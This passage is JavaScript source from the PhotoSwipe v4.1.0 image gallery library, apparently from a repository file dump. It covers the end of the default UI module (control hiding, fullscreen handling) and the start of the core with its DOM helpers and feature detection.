setInterval(function() {\n\t\t\t\t\t\t_idleIncrement++;\n\t\t\t\t\t\tif(_idleIncrement === 2) {\n\t\t\t\t\t\t\tui.setIdle(true);\n\t\t\t\t\t\t}\n\t\t\t\t\t}, _options.timeToIdle / 2);\n\t\t\t\t});\n\t\t\t}\n\t\t},\n\t\t_setupHidingControlsDuringGestures = function() {\n\n\t\t\t// Hide controls on vertical drag\n\t\t\t_listen('onVerticalDrag', function(now) {\n\t\t\t\tif(_controlsVisible && now < 0.95) {\n\t\t\t\t\tui.hideControls();\n\t\t\t\t} else if(!_controlsVisible && now >= 0.95) {\n\t\t\t\t\tui.showControls();\n\t\t\t\t}\n\t\t\t});\n\n\t\t\t// Hide controls when pinching to close\n\t\t\tvar pinchControlsHidden;\n\t\t\t_listen('onPinchClose' , function(now) {\n\t\t\t\tif(_controlsVisible && now < 0.9) {\n\t\t\t\t\tui.hideControls();\n\t\t\t\t\tpinchControlsHidden = true;\n\t\t\t\t} else if(pinchControlsHidden && !_controlsVisible && now > 0.9) {\n\t\t\t\t\tui.showControls();\n\t\t\t\t}\n\t\t\t});\n\n\t\t\t_listen('zoomGestureEnded', function() {\n\t\t\t\tpinchControlsHidden = false;\n\t\t\t\tif(pinchControlsHidden && !_controlsVisible) {\n\t\t\t\t\tui.showControls();\n\t\t\t\t}\n\t\t\t});\n\n\t\t};\n\n\n\n\tvar _uiElements = [\n\t\t{ \n\t\t\tname: 'caption', \n\t\t\toption: 'captionEl',\n\t\t\tonInit: function(el) {  \n\t\t\t\t_captionContainer = el; \n\t\t\t} \n\t\t},\n\t\t{ \n\t\t\tname: 'share-modal', \n\t\t\toption: 'shareEl',\n\t\t\tonInit: function(el) {  \n\t\t\t\t_shareModal = el;\n\t\t\t},\n\t\t\tonTap: function() {\n\t\t\t\t_toggleShareModal();\n\t\t\t} \n\t\t},\n\t\t{ \n\t\t\tname: 'button--share', \n\t\t\toption: 'shareEl',\n\t\t\tonInit: function(el) { \n\t\t\t\t_shareButton = el;\n\t\t\t},\n\t\t\tonTap: function() {\n\t\t\t\t_toggleShareModal();\n\t\t\t} \n\t\t},\n\t\t{ \n\t\t\tname: 'button--zoom', \n\t\t\toption: 'zoomEl',\n\t\t\tonTap: pswp.toggleDesktopZoom\n\t\t},\n\t\t{ \n\t\t\tname: 'counter', \n\t\t\toption: 'counterEl',\n\t\t\tonInit: function(el) {  \n\t\t\t\t_indexIndicator = el;\n\t\t\t} \n\t\t},\n\t\t{ \n\t\t\tname: 'button--close', \n\t\t\toption: 'closeEl',\n\t\t\tonTap: pswp.close\n\t\t},\n\t\t{ \n\t\t\tname: 'button--arrow--left', \n\t\t\toption: 'arrowEl',\n\t\t\tonTap: pswp.prev\n\t\t},\n\t\t{ \n\t\t\tname: 'button--arrow--right', \n\t\t\toption: 'arrowEl',\n\t\t\tonTap: pswp.next\n\t\t},\n\t\t{ \n\t\t\tname: 'button--fs', \n\t\t\toption: 'fullscreenEl',\n\t\t\tonTap: function() {  \n\t\t\t\tif(_fullscrenAPI.isFullscreen()) {\n\t\t\t\t\t_fullscrenAPI.exit();\n\t\t\t\t} else {\n\t\t\t\t\t_fullscrenAPI.enter();\n\t\t\t\t}\n\t\t\t} \n\t\t},\n\t\t{ \n\t\t\tname: 'preloader', \n\t\t\toption: 'preloaderEl',\n\t\t\tonInit: function(el) {  \n\t\t\t\t_loadingIndicator = el;\n\t\t\t} \n\t\t}\n\n\t];\n\n\tvar _setupUIElements = function() {\n\t\tvar item,\n\t\t\tclassAttr,\n\t\t\tuiElement;\n\n\t\tvar loopThroughChildElements = function(sChildren) {\n\t\t\tif(!sChildren) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tvar l = sChildren.length;\n\t\t\tfor(var i = 0; i < l; i++) {\n\t\t\t\titem = sChildren[i];\n\t\t\t\tclassAttr = item.className;\n\n\t\t\t\tfor(var a = 0; a < _uiElements.length; a++) {\n\t\t\t\t\tuiElement = _uiElements[a];\n\n\t\t\t\t\tif(classAttr.indexOf('pswp__' + uiElement.name) > -1  ) {\n\n\t\t\t\t\t\tif( _options[uiElement.option] ) { // if element is not disabled from options\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tframework.removeClass(item, 'pswp__element--disabled');\n\t\t\t\t\t\t\tif(uiElement.onInit) {\n\t\t\t\t\t\t\t\tuiElement.onInit(item);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t//item.style.display = 'block';\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tframework.addClass(item, 'pswp__element--disabled');\n\t\t\t\t\t\t\t//item.style.display = 'none';\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t\tloopThroughChildElements(_controls.children);\n\n\t\tvar topBar =  framework.getChildByClass(_controls, 'pswp__top-bar');\n\t\tif(topBar) {\n\t\t\tloopThroughChildElements( topBar.children );\n\t\t}\n\t};\n\n\n\t\n\n\tui.init = function() {\n\n\t\t// extend options\n\t\tframework.extend(pswp.options, _defaultUIOptions, true);\n\n\t\t// create local link for fast access\n\t\t_options = pswp.options;\n\n\t\t// find pswp__ui element\n\t\t_controls = framework.getChildByClass(pswp.scrollWrap, 'pswp__ui');\n\n\t\t// create local link\n\t\t_listen = pswp.listen;\n\n\n\t\t_setupHidingControlsDuringGestures();\n\n\t\t// update controls when slides change\n\t\t_listen('beforeChange', ui.update);\n\n\t\t// toggle zoom on double-tap\n\t\t_listen('doubleTap', function(point) {\n\t\t\tvar initialZoomLevel = pswp.currItem.initialZoomLevel;\n\t\t\tif(pswp.getZoomLevel() !== initialZoomLevel) {\n\t\t\t\tpswp.zoomTo(initialZoomLevel, point, 333);\n\t\t\t} else {\n\t\t\t\tpswp.zoomTo(_options.getDoubleTapZoom(false, pswp.currItem), point, 333);\n\t\t\t}\n\t\t});\n\n\t\t// Allow text selection in caption\n\t\t_listen('preventDragEvent', function(e, isDown, preventObj) {\n\t\t\tvar t = e.target || e.srcElement;\n\t\t\tif(\n\t\t\t\tt && \n\t\t\t\tt.className && e.type.indexOf('mouse') > -1 && \n\t\t\t\t( t.className.indexOf('__caption') > 0 || (/(SMALL|STRONG|EM)/i).test(t.tagName) ) \n\t\t\t) {\n\t\t\t\tpreventObj.prevent = false;\n\t\t\t}\n\t\t});\n\n\t\t// bind events for UI\n\t\t_listen('bindEvents', function() {\n\t\t\tframework.bind(_controls, 'pswpTap click', _onControlsTap);\n\t\t\tframework.bind(pswp.scrollWrap, 'pswpTap', ui.onGlobalTap);\n\n\t\t\tif(!pswp.likelyTouchDevice) {\n\t\t\t\tframework.bind(pswp.scrollWrap, 'mouseover', ui.onMouseOver);\n\t\t\t}\n\t\t});\n\n\t\t// unbind events for UI\n\t\t_listen('unbindEvents', function() {\n\t\t\tif(!_shareModalHidden) {\n\t\t\t\t_toggleShareModal();\n\t\t\t}\n\n\t\t\tif(_idleInterval) {\n\t\t\t\tclearInterval(_idleInterval);\n\t\t\t}\n\t\t\tframework.unbind(document, 'mouseout', _onMouseLeaveWindow);\n\t\t\tframework.unbind(document, 'mousemove', _onIdleMouseMove);\n\t\t\tframework.unbind(_controls, 'pswpTap click', _onControlsTap);\n\t\t\tframework.unbind(pswp.scrollWrap, 'pswpTap', ui.onGlobalTap);\n\t\t\tframework.unbind(pswp.scrollWrap, 'mouseover', ui.onMouseOver);\n\n\t\t\tif(_fullscrenAPI) {\n\t\t\t\tframework.unbind(document, _fullscrenAPI.eventK, ui.updateFullscreen);\n\t\t\t\tif(_fullscrenAPI.isFullscreen()) {\n\t\t\t\t\t_options.hideAnimationDuration = 0;\n\t\t\t\t\t_fullscrenAPI.exit();\n\t\t\t\t}\n\t\t\t\t_fullscrenAPI = null;\n\t\t\t}\n\t\t});\n\n\n\t\t// clean up things when gallery is destroyed\n\t\t_listen('destroy', function() {\n\t\t\tif(_options.captionEl) {\n\t\t\t\tif(_fakeCaptionContainer) {\n\t\t\t\t\t_controls.removeChild(_fakeCaptionContainer);\n\t\t\t\t}\n\t\t\t\tframework.removeClass(_captionContainer, 'pswp__caption--empty');\n\t\t\t}\n\n\t\t\tif(_shareModal) {\n\t\t\t\t_shareModal.children[0].onclick = null;\n\t\t\t}\n\t\t\tframework.removeClass(_controls, 'pswp__ui--over-close');\n\t\t\tframework.addClass( _controls, 'pswp__ui--hidden');\n\t\t\tui.setIdle(false);\n\t\t});\n\t\t\n\n\t\tif(!_options.showAnimationDuration) {\n\t\t\tframework.removeClass( _controls, 'pswp__ui--hidden');\n\t\t}\n\t\t_listen('initialZoomIn', function() {\n\t\t\tif(_options.showAnimationDuration) {\n\t\t\t\tframework.removeClass( _controls, 'pswp__ui--hidden');\n\t\t\t}\n\t\t});\n\t\t_listen('initialZoomOut', function() {\n\t\t\tframework.addClass( _controls, 'pswp__ui--hidden');\n\t\t});\n\n\t\t_listen('parseVerticalMargin', _applyNavBarGaps);\n\t\t\n\t\t_setupUIElements();\n\n\t\tif(_options.shareEl && _shareButton && _shareModal) {\n\t\t\t_shareModalHidden = true;\n\t\t}\n\n\t\t_countNumItems();\n\n\t\t_setupIdle();\n\n\t\t_setupFullscreenAPI();\n\n\t\t_setupLoadingIndicator();\n\t};\n\n\tui.setIdle = function(isIdle) {\n\t\t_isIdle = isIdle;\n\t\t_togglePswpClass(_controls, 'ui--idle', isIdle);\n\t};\n\n\tui.update = function() {\n\t\t// Don't update UI if it's hidden\n\t\tif(_controlsVisible && pswp.currItem) {\n\t\t\t\n\t\t\tui.updateIndexIndicator();\n\n\t\t\tif(_options.captionEl) {\n\t\t\t\t_options.addCaptionHTMLFn(pswp.currItem, _captionContainer);\n\n\t\t\t\t_togglePswpClass(_captionContainer, 'caption--empty', !pswp.currItem.title);\n\t\t\t}\n\n\t\t\t_overlayUIUpdated = true;\n\n\t\t} else {\n\t\t\t_overlayUIUpdated = false;\n\t\t}\n\n\t\tif(!_shareModalHidden) {\n\t\t\t_toggleShareModal();\n\t\t}\n\n\t\t_countNumItems();\n\t};\n\n\tui.updateFullscreen = function(e) {\n\n\t\tif(e) {\n\t\t\t// some browsers change window scroll position during the fullscreen\n\t\t\t// so PhotoSwipe updates it just in case\n\t\t\tsetTimeout(function() {\n\t\t\t\tpswp.setScrollOffset( 0, framework.getScrollY() );\n\t\t\t}, 50);\n\t\t}\n\t\t\n\t\t// toogle pswp--fs class on root element\n\t\tframework[ (_fullscrenAPI.isFullscreen() ? 'add' : 'remove') + 'Class' ](pswp.template, 'pswp--fs');\n\t};\n\n\tui.updateIndexIndicator = function() {\n\t\tif(_options.counterEl) {\n\t\t\t_indexIndicator.innerHTML = (pswp.getCurrentIndex()+1) + \n\t\t\t\t\t\t\t\t\t\t_options.indexIndicatorSep + \n\t\t\t\t\t\t\t\t\t\t_options.getNumItemsFn();\n\t\t}\n\t};\n\t\n\tui.onGlobalTap = function(e) {\n\t\te = e || window.event;\n\t\tvar target = e.target || e.srcElement;\n\n\t\tif(_blockControlsTap) {\n\t\t\treturn;\n\t\t}\n\n\t\tif(e.detail && e.detail.pointerType === 'mouse') {\n\n\t\t\t// close gallery if clicked outside of the image\n\t\t\tif(_hasCloseClass(target)) {\n\t\t\t\tpswp.close();\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tif(framework.hasClass(target, 'pswp__img')) {\n\t\t\t\tif(pswp.getZoomLevel() === 1 && pswp.getZoomLevel() <= pswp.currItem.fitRatio) {\n\t\t\t\t\tif(_options.clickToCloseNonZoomable) {\n\t\t\t\t\t\tpswp.close();\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tpswp.toggleDesktopZoom(e.detail.releasePoint);\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t} else {\n\n\t\t\t// tap anywhere (except buttons) to toggle visibility of controls\n\t\t\tif(_options.tapToToggleControls) {\n\t\t\t\tif(_controlsVisible) {\n\t\t\t\t\tui.hideControls();\n\t\t\t\t} else {\n\t\t\t\t\tui.showControls();\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// tap to close gallery\n\t\t\tif(_options.tapToClose && (framework.hasClass(target, 'pswp__img') || _hasCloseClass(target)) ) {\n\t\t\t\tpswp.close();\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t\n\t\t}\n\t};\n\tui.onMouseOver = function(e) {\n\t\te = e || window.event;\n\t\tvar target = e.target || e.srcElement;\n\n\t\t// add class when mouse is over an element that should close the gallery\n\t\t_togglePswpClass(_controls, 'ui--over-close', _hasCloseClass(target));\n\t};\n\n\tui.hideControls = function() {\n\t\tframework.addClass(_controls,'pswp__ui--hidden');\n\t\t_controlsVisible = false;\n\t};\n\n\tui.showControls = function() {\n\t\t_controlsVisible = true;\n\t\tif(!_overlayUIUpdated) {\n\t\t\tui.update();\n\t\t}\n\t\tframework.removeClass(_controls,'pswp__ui--hidden');\n\t};\n\n\tui.supportsFullscreen = function() {\n\t\tvar d = document;\n\t\treturn !!(d.exitFullscreen || d.mozCancelFullScreen || d.webkitExitFullscreen || d.msExitFullscreen);\n\t};\n\n\tui.getFullscreenAPI = function() {\n\t\tvar dE = document.documentElement,\n\t\t\tapi,\n\t\t\ttF = 'fullscreenchange';\n\n\t\tif (dE.requestFullscreen) {\n\t\t\tapi = {\n\t\t\t\tenterK: 'requestFullscreen',\n\t\t\t\texitK: 'exitFullscreen',\n\t\t\t\telementK: 'fullscreenElement',\n\t\t\t\teventK: tF\n\t\t\t};\n\n\t\t} else if(dE.mozRequestFullScreen ) {\n\t\t\tapi = {\n\t\t\t\tenterK: 'mozRequestFullScreen',\n\t\t\t\texitK: 'mozCancelFullScreen',\n\t\t\t\telementK: 'mozFullScreenElement',\n\t\t\t\teventK: 'moz' + tF\n\t\t\t};\n\n\t\t\t\n\n\t\t} else if(dE.webkitRequestFullscreen) {\n\t\t\tapi = {\n\t\t\t\tenterK: 'webkitRequestFullscreen',\n\t\t\t\texitK: 'webkitExitFullscreen',\n\t\t\t\telementK: 'webkitFullscreenElement',\n\t\t\t\teventK: 'webkit' + tF\n\t\t\t};\n\n\t\t} else if(dE.msRequestFullscreen) {\n\t\t\tapi = {\n\t\t\t\tenterK: 'msRequestFullscreen',\n\t\t\t\texitK: 'msExitFullscreen',\n\t\t\t\telementK: 'msFullscreenElement',\n\t\t\t\teventK: 'MSFullscreenChange'\n\t\t\t};\n\t\t}\n\n\t\tif(api) {\n\t\t\tapi.enter = function() { \n\t\t\t\t// disable close-on-scroll in fullscreen\n\t\t\t\t_initalCloseOnScrollValue = _options.closeOnScroll; \n\t\t\t\t_options.closeOnScroll = false; \n\n\t\t\t\tif(this.enterK === 'webkitRequestFullscreen') {\n\t\t\t\t\tpswp.template[this.enterK]( Element.ALLOW_KEYBOARD_INPUT );\n\t\t\t\t} else {\n\t\t\t\t\treturn pswp.template[this.enterK](); \n\t\t\t\t}\n\t\t\t};\n\t\t\tapi.exit = function() { \n\t\t\t\t_options.closeOnScroll = _initalCloseOnScrollValue;\n\n\t\t\t\treturn document[this.exitK](); \n\n\t\t\t};\n\t\t\tapi.isFullscreen = function() { return document[this.elementK]; };\n\t\t}\n\n\t\treturn api;\n\t};\n\n\n\n};\nreturn PhotoSwipeUI_Default;\n\n\n});"
  },
  {
    "path": "mov/js/photoswipe.js",
    "content": "/*! PhotoSwipe - v4.1.0 - 2015-08-14\n* http://photoswipe.com\n* Copyright (c) 2015 Dmitry Semenov; */\n(function (root, factory) { \n\tif (typeof define === 'function' && define.amd) {\n\t\tdefine(factory);\n\t} else if (typeof exports === 'object') {\n\t\tmodule.exports = factory();\n\t} else {\n\t\troot.PhotoSwipe = factory();\n\t}\n})(this, function () {\n\n\t'use strict';\n\tvar PhotoSwipe = function(template, UiClass, items, options){\n\n/*>>framework-bridge*/\n/**\n *\n * Set of generic functions used by gallery.\n * \n * You're free to modify anything here as long as functionality is kept.\n * \n */\nvar framework = {\n\tfeatures: null,\n\tbind: function(target, type, listener, unbind) {\n\t\tvar methodName = (unbind ? 'remove' : 'add') + 'EventListener';\n\t\ttype = type.split(' ');\n\t\tfor(var i = 0; i < type.length; i++) {\n\t\t\tif(type[i]) {\n\t\t\t\ttarget[methodName]( type[i], listener, false);\n\t\t\t}\n\t\t}\n\t},\n\tisArray: function(obj) {\n\t\treturn (obj instanceof Array);\n\t},\n\tcreateEl: function(classes, tag) {\n\t\tvar el = document.createElement(tag || 'div');\n\t\tif(classes) {\n\t\t\tel.className = classes;\n\t\t}\n\t\treturn el;\n\t},\n\tgetScrollY: function() {\n\t\tvar yOffset = window.pageYOffset;\n\t\treturn yOffset !== undefined ? yOffset : document.documentElement.scrollTop;\n\t},\n\tunbind: function(target, type, listener) {\n\t\tframework.bind(target,type,listener,true);\n\t},\n\tremoveClass: function(el, className) {\n\t\tvar reg = new RegExp('(\\\\s|^)' + className + '(\\\\s|$)');\n\t\tel.className = el.className.replace(reg, ' ').replace(/^\\s\\s*/, '').replace(/\\s\\s*$/, ''); \n\t},\n\taddClass: function(el, className) {\n\t\tif( !framework.hasClass(el,className) ) {\n\t\t\tel.className += (el.className ? ' ' : '') + className;\n\t\t}\n\t},\n\thasClass: function(el, className) {\n\t\treturn el.className && new RegExp('(^|\\\\s)' + className + '(\\\\s|$)').test(el.className);\n\t},\n\tgetChildByClass: function(parentEl, childClassName) {\n\t\tvar node = parentEl.firstChild;\n\t\twhile(node) {\n\t\t\tif( framework.hasClass(node, childClassName) ) {\n\t\t\t\treturn node;\n\t\t\t}\n\t\t\tnode = node.nextSibling;\n\t\t}\n\t},\n\tarraySearch: function(array, value, key) {\n\t\tvar i = array.length;\n\t\twhile(i--) {\n\t\t\tif(array[i][key] === value) {\n\t\t\t\treturn i;\n\t\t\t} \n\t\t}\n\t\treturn -1;\n\t},\n\textend: function(o1, o2, preventOverwrite) {\n\t\tfor (var prop in o2) {\n\t\t\tif (o2.hasOwnProperty(prop)) {\n\t\t\t\tif(preventOverwrite && o1.hasOwnProperty(prop)) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\to1[prop] = o2[prop];\n\t\t\t}\n\t\t}\n\t},\n\teasing: {\n\t\tsine: {\n\t\t\tout: function(k) {\n\t\t\t\treturn Math.sin(k * (Math.PI / 2));\n\t\t\t},\n\t\t\tinOut: function(k) {\n\t\t\t\treturn - (Math.cos(Math.PI * k) - 1) / 2;\n\t\t\t}\n\t\t},\n\t\tcubic: {\n\t\t\tout: function(k) {\n\t\t\t\treturn --k * k * k + 1;\n\t\t\t}\n\t\t}\n\t\t/*\n\t\t\telastic: {\n\t\t\t\tout: function ( k ) {\n\n\t\t\t\t\tvar s, a = 0.1, p = 0.4;\n\t\t\t\t\tif ( k === 0 ) return 0;\n\t\t\t\t\tif ( k === 1 ) return 1;\n\t\t\t\t\tif ( !a || a < 1 ) { a = 1; s = p / 4; }\n\t\t\t\t\telse s = p * Math.asin( 1 / a ) / ( 2 * Math.PI );\n\t\t\t\t\treturn ( a * Math.pow( 2, - 10 * k) * Math.sin( ( k - s ) * ( 2 * Math.PI ) / p ) + 1 );\n\n\t\t\t\t},\n\t\t\t},\n\t\t\tback: {\n\t\t\t\tout: function ( k ) {\n\t\t\t\t\tvar s = 1.70158;\n\t\t\t\t\treturn --k * k * ( ( s + 1 ) * k + s ) + 1;\n\t\t\t\t}\n\t\t\t}\n\t\t*/\n\t},\n\n\t/**\n\t * \n\t * @return {object}\n\t * \n\t * {\n\t *  raf : request animation frame function\n\t *  caf : cancel animation frame function\n\t *  transfrom : transform property key (with vendor), or null if not supported\n\t *  oldIE : IE8 or below\n\t * }\n\t * \n\t */\n\tdetectFeatures: function() {\n\t\tif(framework.features) {\n\t\t\treturn framework.features;\n\t\t}\n\t\tvar helperEl = framework.createEl(),\n\t\t\thelperStyle = helperEl.style,\n\t\t\tvendor = '',\n\t\t\tfeatures = {};\n\n\t\t// IE8 and below\n\t\tfeatures.oldIE = document.all && !document.addEventListener;\n\n\t\tfeatures.touch = 'ontouchstart' in window;\n\n\t\tif(window.requestAnimationFrame) {\n\t\t\tfeatures.raf = window.requestAnimationFrame;\n\t\t\tfeatures.caf = window.cancelAnimationFrame;\n\t\t}\n\n\t\tfeatures.pointerEvent = navigator.pointerEnabled || navigator.msPointerEnabled;\n\n\t\t// fix false-positive detection of old Android in new IE\n\t\t// (IE11 ua string contains \"Android 4.0\")\n\t\t\n\t\tif(!features.pointerEvent) { \n\n\t\t\tvar ua = navigator.userAgent;\n\n\t\t\t// Detect if device is iPhone or iPod and if it's older than iOS 8\n\t\t\t// http://stackoverflow.com/a/14223920\n\t\t\t// \n\t\t\t// This detection is made because of buggy top/bottom toolbars\n\t\t\t// that don't trigger window.resize event.\n\t\t\t// For more info refer to _isFixedPosition variable in core.js\n\n\t\t\tif (/iP(hone|od)/.test(navigator.platform)) {\n\t\t\t\tvar v = (navigator.appVersion).match(/OS (\\d+)_(\\d+)_?(\\d+)?/);\n\t\t\t\tif(v && v.length > 0) {\n\t\t\t\t\tv = parseInt(v[1], 10);\n\t\t\t\t\tif(v >= 1 && v < 8 ) {\n\t\t\t\t\t\tfeatures.isOldIOSPhone = true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Detect old Android (before KitKat)\n\t\t\t// due to bugs related to position:fixed\n\t\t\t// http://stackoverflow.com/questions/7184573/pick-up-the-android-version-in-the-browser-by-javascript\n\t\t\t\n\t\t\tvar match = ua.match(/Android\\s([0-9\\.]*)/);\n\t\t\tvar androidversion =  match ? match[1] : 0;\n\t\t\tandroidversion = parseFloat(androidversion);\n\t\t\tif(androidversion >= 1 ) {\n\t\t\t\tif(androidversion < 4.4) {\n\t\t\t\t\tfeatures.isOldAndroid = true; // for fixed position bug & performance\n\t\t\t\t}\n\t\t\t\tfeatures.androidVersion = androidversion; // for touchend bug\n\t\t\t}\t\n\t\t\tfeatures.isMobileOpera = /opera mini|opera mobi/i.test(ua);\n\n\t\t\t// p.s. yes, yes, UA sniffing is bad, propose your solution for above bugs.\n\t\t}\n\t\t\n\t\tvar styleChecks = ['transform', 'perspective', 'animationName'],\n\t\t\tvendors = ['', 'webkit','Moz','ms','O'],\n\t\t\tstyleCheckItem,\n\t\t\tstyleName;\n\n\t\tfor(var i = 0; i < 4; i++) {\n\t\t\tvendor = vendors[i];\n\n\t\t\tfor(var a = 0; a < 3; a++) {\n\t\t\t\tstyleCheckItem = styleChecks[a];\n\n\t\t\t\t// uppercase first letter of property name, if vendor is present\n\t\t\t\tstyleName = vendor + (vendor ? \n\t\t\t\t\t\t\t\t\t\tstyleCheckItem.charAt(0).toUpperCase() + styleCheckItem.slice(1) : \n\t\t\t\t\t\t\t\t\t\tstyleCheckItem);\n\t\t\t\n\t\t\t\tif(!features[styleCheckItem] && styleName in helperStyle ) {\n\t\t\t\t\tfeatures[styleCheckItem] = styleName;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif(vendor && !features.raf) {\n\t\t\t\tvendor = vendor.toLowerCase();\n\t\t\t\tfeatures.raf = window[vendor+'RequestAnimationFrame'];\n\t\t\t\tif(features.raf) {\n\t\t\t\t\tfeatures.caf = window[vendor+'CancelAnimationFrame'] || \n\t\t\t\t\t\t\t\t\twindow[vendor+'CancelRequestAnimationFrame'];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\t\n\t\tif(!features.raf) {\n\t\t\tvar lastTime = 0;\n\t\t\tfeatures.raf = function(fn) {\n\t\t\t\tvar currTime = new Date().getTime();\n\t\t\t\tvar timeToCall = Math.max(0, 16 - (currTime - lastTime));\n\t\t\t\tvar id = window.setTimeout(function() { fn(currTime + timeToCall); }, timeToCall);\n\t\t\t\tlastTime = currTime + timeToCall;\n\t\t\t\treturn id;\n\t\t\t};\n\t\t\tfeatures.caf = function(id) { clearTimeout(id); };\n\t\t}\n\n\t\t// Detect SVG support\n\t\tfeatures.svg = !!document.createElementNS && \n\t\t\t\t\t\t!!document.createElementNS('http://www.w3.org/2000/svg', 'svg').createSVGRect;\n\n\t\tframework.features = features;\n\n\t\treturn features;\n\t}\n};\n\nframework.detectFeatures();\n\n// Override addEventListener for old versions of IE\nif(framework.features.oldIE) {\n\n\tframework.bind = function(target, type, listener, unbind) {\n\t\t\n\t\ttype = type.split(' ');\n\n\t\tvar methodName = (unbind ? 'detach' : 'attach') + 'Event',\n\t\t\tevName,\n\t\t\t_handleEv = function() {\n\t\t\t\tlistener.handleEvent.call(listener);\n\t\t\t};\n\n\t\tfor(var i = 0; i < type.length; i++) {\n\t\t\tevName = type[i];\n\t\t\tif(evName) {\n\n\t\t\t\tif(typeof listener === 'object' && listener.handleEvent) {\n\t\t\t\t\tif(!unbind) {\n\t\t\t\t\t\tlistener['oldIE' + evName] = _handleEv;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif(!listener['oldIE' + evName]) {\n\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\ttarget[methodName]( 'on' + evName, listener['oldIE' + evName]);\n\t\t\t\t} else {\n\t\t\t\t\ttarget[methodName]( 'on' + evName, listener);\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t};\n\t\n}\n\n/*>>framework-bridge*/\n\n/*>>core*/\n//function(template, UiClass, items, options)\n\nvar self = this;\n\n/**\n * Static vars, don't change unless you know what you're doing.\n */\nvar DOUBLE_TAP_RADIUS = 25, \n\tNUM_HOLDERS = 3;\n\n/**\n * Options\n */\nvar _options = {\n\tallowPanToNext:true,\n\tspacing: 0.12,\n\tbgOpacity: 1,\n\tmouseUsed: false,\n\tloop: true,\n\tpinchToClose: true,\n\tcloseOnScroll: true,\n\tcloseOnVerticalDrag: true,\n\tverticalDragRange: 0.75,\n\thideAnimationDuration: 333,\n\tshowAnimationDuration: 333,\n\tshowHideOpacity: false,\n\tfocus: true,\n\tescKey: true,\n\tarrowKeys: true,\n\tmainScrollEndFriction: 0.35,\n\tpanEndFriction: 0.35,\n\tisClickableElement: function(el) {\n        return el.tagName === 'A';\n    },\n    getDoubleTapZoom: function(isMouseClick, item) {\n    \tif(isMouseClick) {\n    \t\treturn 1;\n    \t} else {\n    \t\treturn item.initialZoomLevel < 0.7 ? 1 : 1.33;\n    \t}\n    },\n    maxSpreadZoom: 1.33,\n\tmodal: true,\n\n\t// not fully implemented yet\n\tscaleMode: 'fit' // TODO\n};\nframework.extend(_options, options);\n\n\n/**\n * Private helper variables & functions\n */\n\nvar _getEmptyPoint = function() { \n\t\treturn {x:0,y:0}; \n\t};\n\nvar _isOpen,\n\t_isDestroying,\n\t_closedByScroll,\n\t_currentItemIndex,\n\t_containerStyle,\n\t_containerShiftIndex,\n\t_currPanDist = _getEmptyPoint(),\n\t_startPanOffset = _getEmptyPoint(),\n\t_panOffset = _getEmptyPoint(),\n\t_upMoveEvents, // drag move, drag end & drag cancel events array\n\t_downEvents, // drag start events array\n\t_globalEventHandlers,\n\t_viewportSize = {},\n\t_currZoomLevel,\n\t_startZoomLevel,\n\t_translatePrefix,\n\t_translateSufix,\n\t_updateSizeInterval,\n\t_itemsNeedUpdate,\n\t_currPositionIndex = 0,\n\t_offset = {},\n\t_slideSize = _getEmptyPoint(), // size of slide area, including spacing\n\t_itemHolders,\n\t_prevItemIndex,\n\t_indexDiff = 0, // difference of indexes since last content update\n\t_dragStartEvent,\n\t_dragMoveEvent,\n\t_dragEndEvent,\n\t_dragCancelEvent,\n\t_transformKey,\n\t_pointerEventEnabled,\n\t_isFixedPosition = true,\n\t_likelyTouchDevice,\n\t_modules = [],\n\t_requestAF,\n\t_cancelAF,\n\t_initalClassName,\n\t_initalWindowScrollY,\n\t_oldIE,\n\t_currentWindowScrollY,\n\t_features,\n\t_windowVisibleSize = {},\n\t_renderMaxResolution = false,\n\n\t// Registers PhotoSWipe module (History, Controller ...)\n\t_registerModule = function(name, module) {\n\t\tframework.extend(self, module.publicMethods);\n\t\t_modules.push(name);\n\t},\n\n\t_getLoopedId = function(index) {\n\t\tvar numSlides = _getNumItems();\n\t\tif(index > numSlides - 1) {\n\t\t\treturn index - numSlides;\n\t\t} else  if(index < 0) {\n\t\t\treturn numSlides + index;\n\t\t}\n\t\treturn index;\n\t},\n\t\n\t// Micro bind/trigger\n\t_listeners = {},\n\t_listen = function(name, fn) {\n\t\tif(!_listeners[name]) {\n\t\t\t_listeners[name] = [];\n\t\t}\n\t\treturn _listeners[name].push(fn);\n\t},\n\t_shout = function(name) {\n\t\tvar listeners = _listeners[name];\n\n\t\tif(listeners) {\n\t\t\tvar args = Array.prototype.slice.call(arguments);\n\t\t\targs.shift();\n\n\t\t\tfor(var i = 0; i < listeners.length; i++) {\n\t\t\t\tlisteners[i].apply(self, args);\n\t\t\t}\n\t\t}\n\t},\n\n\t_getCurrentTime = function() {\n\t\treturn new Date().getTime();\n\t},\n\t_applyBgOpacity = function(opacity) {\n\t\t_bgOpacity = opacity;\n\t\tself.bg.style.opacity = opacity * _options.bgOpacity;\n\t},\n\n\t_applyZoomTransform = function(styleObj,x,y,zoom,item) {\n\t\tif(!_renderMaxResolution || (item && item !== self.currItem) ) {\n\t\t\tzoom = zoom / (item ? item.fitRatio : self.currItem.fitRatio);\t\n\t\t}\n\t\t\t\n\t\tstyleObj[_transformKey] = _translatePrefix + x + 'px, ' + y + 'px' + _translateSufix + ' scale(' + zoom + ')';\n\t},\n\t_applyCurrentZoomPan = function( allowRenderResolution ) {\n\t\tif(_currZoomElementStyle) {\n\n\t\t\tif(allowRenderResolution) {\n\t\t\t\tif(_currZoomLevel > self.currItem.fitRatio) {\n\t\t\t\t\tif(!_renderMaxResolution) {\n\t\t\t\t\t\t_setImageSize(self.currItem, false, 